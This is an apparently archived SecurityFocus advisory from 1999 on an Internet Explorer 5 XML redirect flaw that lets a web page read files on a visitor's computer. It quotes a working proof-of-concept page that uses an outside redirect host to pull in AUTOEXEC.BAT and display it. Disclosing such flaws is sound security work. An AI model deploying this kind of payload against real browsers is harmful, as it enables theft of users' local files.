Microsoft IE5 XML HTTP Redirect Vulnerability

Bugtraq ID:	815
Class:	Design Error
CVE:
Remote:	Yes
Local:	Unknown
Published:	Nov 22 1999 12:00AM
Updated:	Nov 22 1999 12:00AM
Credit:	This vulnerability was posted to Bugtraq by Georgi Guninksi <[email protected]>
Vulnerable:	Microsoft Internet Explorer 5.0 for Windows NT 4 + Microsoft Windows NT 4.0 + Microsoft Windows NT 4.0 Microsoft Internet Explorer 5.0 for Windows 98 + Microsoft Windows 98 + Microsoft Windows 98 Microsoft Internet Explorer 5.0 for Windows 95 + Microsoft Windows 95 + Microsoft Windows 95 Microsoft Internet Explorer 5.0 for Windows 2000 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional
Not Vulnerable:

Microsoft IE5 XML HTTP Redirect Vulnerability

A vulnerability in the method IE5 uses to process XML data may allow a malicious web site owner to read files on a visiting user's computer. A web page may be created that contains an XML object type that contains instructions to read known files on a visitor's local host (and or domain). The IE5 client will allow the XML redirect to access files within its own domain.

Note that if this vulnerability is exploited for IE5 for Unix, the only reported result is that the application will suffer an "Internal Error" and crash.

Microsoft IE5 XML HTTP Redirect Vulnerability

From Georgi Guninski's Bugtraq post:
<object id="xm" type="text/xml"
data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height=200>
</object>
<SCRIPT>
function f()
{
s=xm.body.innerHTML;
a=window.open();
//alert(s);
a.document.open();
a.document.write("Here is a part of AUTOEXEC.BAT (the error message is
normal):<BR>"+s);
a.document.close();
}
setTimeout("f()",5000);
</SCRIPT>

Microsoft IE5 XML HTTP Redirect Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Microsoft IE5 XML HTTP Redirect Vulnerability

References: